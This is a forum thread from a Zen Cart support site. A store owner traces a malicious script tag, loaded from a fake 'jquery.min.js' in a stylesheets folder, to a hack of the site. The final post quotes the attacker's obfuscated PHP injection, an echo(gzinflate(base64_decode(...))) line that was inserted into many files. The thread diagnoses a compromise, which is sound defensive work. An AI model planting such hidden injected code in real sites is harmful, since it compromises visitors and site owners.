Mysterious code before <head> tag

27 Mar 2012, 1:28 AM

#1

New Zenner

Join Date:: Dec 2009
Posts:: 9
Plugin Contributions:: 0

Mysterious code before <head> tag

Hey, the site in question is http://biggrowhydro.com

Recently google flagged the file jquery.min.js as malicious. I attempted to locate where I was using such a file in my source code and found that it is before my <head> tag on all of my pages.

I tried to use the developer tools to locate where the script is being called (which php file) and it was unable to locate any part of the script tag/link.

By any chance does anyone know where zen cart would be pulling data from to place before the <head> tag?

I have already checked a few places including tpl_main_page.php, tpl_header.php, meta_tags.php, and application_top.php

None of the files I have checked have had any instance of the line.

I would appreciate any help or ideas.

Thanks in advance.

27 Mar 2012, 1:39 AM

#2

gjh42

Black Belt

Join Date:: Jul 2005
Location:: Upstate NY
Posts:: 21,876
Plugin Contributions:: 8

Re: Mysterious code before <head> tag

<script type="text/javascript" language="javascript" src="http://biggrowhydro.com//stylesheets/jquery.min.js" ></script><!DOCTYPE html PUBLIC "-//W3C/ Some mod you have installed or made was set up incorrectly. You should not have a call like this before the <head> but after it (and before the </head>), and the jquery file (which is not used by stock Zen Cart) should not be located in

biggrowhydro.com//stylesheets/jquery.min.js
but in
biggrowhydro.com/includes/templates/your_template/jscript/jscript_jquery.min.js
(note the filename jscript_jquery.min.js). This filename and location will cause the file to be loaded in the correct place automatically.

27 Mar 2012, 1:48 AM

#3

gjh42

Black Belt

Join Date:: Jul 2005
Location:: Upstate NY
Posts:: 21,876
Plugin Contributions:: 8

Re: Mysterious code before <head> tag

It is conceivable that the file was named jquery.min.js as a smokescreen for a malicious file; the jquery library would never be put in a stylesheet folder by anyone with honorable intentions who knew what they were doing.

27 Mar 2012, 1:48 AM

#4

nigelt74

Totally Zenned

Join Date:: Sep 2005
Location:: Waikato, New Zealand
Posts:: 1,558
Plugin Contributions:: 1

Re: Mysterious code before <head> tag

Did you install it yourself? what mod are you using that requires it?

javascript files should be placed in

includes/templates/bigGrow/jscript/

and named with the prefix
jscript_

and have you looked in this file

includes\templates\your_template\common\html_header.php

and if that file doesn't exist

includes\templates\template_default\common\html_header.php

snaple:

Hey, the site in question is http://biggrowhydro.com

Recently google flagged the file jquery.min.js as malicious. I attempted to locate where I was using such a file in my source code and found that it is before my <head> tag on all of my pages.

I tried to use the developer tools to locate where the script is being called (which php file) and it was unable to locate any part of the script tag/link.

By any chance does anyone know where zen cart would be pulling data from to place before the <head> tag?

I have already checked a few places including tpl_main_page.php, tpl_header.php, meta_tags.php, and application_top.php

None of the files I have checked have had any instance of the line.

I would appreciate any help or ideas.

Thanks in advance.

27 Mar 2012, 4:56 PM

#5

snaple

New Zenner

Join Date:: Dec 2009
Posts:: 9
Plugin Contributions:: 0

Re: Mysterious code before <head> tag

I solved the problem. Someone did indeed hack the site and modified some of the files. How they managed to gain write access is what I am looking into now.

They used gzinflate and base64_decode to hide the script execution/call, like this:

echo(gzinflate(base64_decode("TcxLDoAgDADRqxAOQPcGvQtiwycq2BaV22vixu2bZCx7SlWU9IqjFrwFsjvdp1qtbg/NhTf9lcmPOorUAWBOIVC5Yl+oGF82AJa+IkdEYchHQ+pmS7vJrNVk4XtMDw==")));

This was added to many files including before the start of the real code in index.php in /html/ of my zen cart store.

Thanks for the help!